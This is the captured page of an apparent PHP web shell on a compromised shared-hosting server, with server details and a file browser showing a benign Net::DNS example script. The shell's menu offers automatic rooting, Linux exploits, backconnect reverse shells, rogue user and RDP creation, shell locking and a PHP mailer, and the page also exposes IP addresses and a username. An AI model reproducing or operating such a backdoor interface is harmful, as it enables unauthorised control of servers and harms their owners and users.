Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libnet-dns-perl /
examples /
contrib /
[ HOME SHELL ]
Name
Size
Permission
Action
README
577
B
-rw-r--r--
check_soa
16.75
KB
-rw-r--r--
check_zone
18.91
KB
-rw-r--r--
dnswalk.README
163
B
-rw-r--r--
find_zonecut
891
B
-rw-r--r--
loc2earth.fcgi
5.82
KB
-rw-r--r--
loclist.pl
3.13
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : find_zonecut
#!/usr/bin/perl use strict; use warnings; my $VERSION = (qw$LastChangedRevision: 1811 $)[1] || 0.01; =head1 NAME find_zonecut - Find zonecut for a domain name =head1 SYNOPSIS find_zonecut name =head1 DESCRIPTION B<find_zonecut> returns the name of the closest delegation point to the specified domain name. =cut use Net::DNS; my $resolver = Net::DNS::Resolver->new(); print find_zonecut(shift), "\n"; sub find_zonecut { ## Copyright (c)2014 Dick Franks my $name = shift; my $reply = $resolver->send( "*.$name", 'NULL' ) || die $resolver->errorstring; my ($cut) = map { $_->name } $reply->authority; return $cut || die "failed to find zone cut for $name"; } __END__ =head1 COPYRIGHT (c)2014 Dick Franks E<lt>rwfranks[...]acm.orgE<gt> All rights reserved. FOR DEMONSTRATION PURPOSES ONLY, NO WARRANTY, NO SUPPORT =head1 SEE ALSO L<perl>, L<Net::DNS> =cut
Close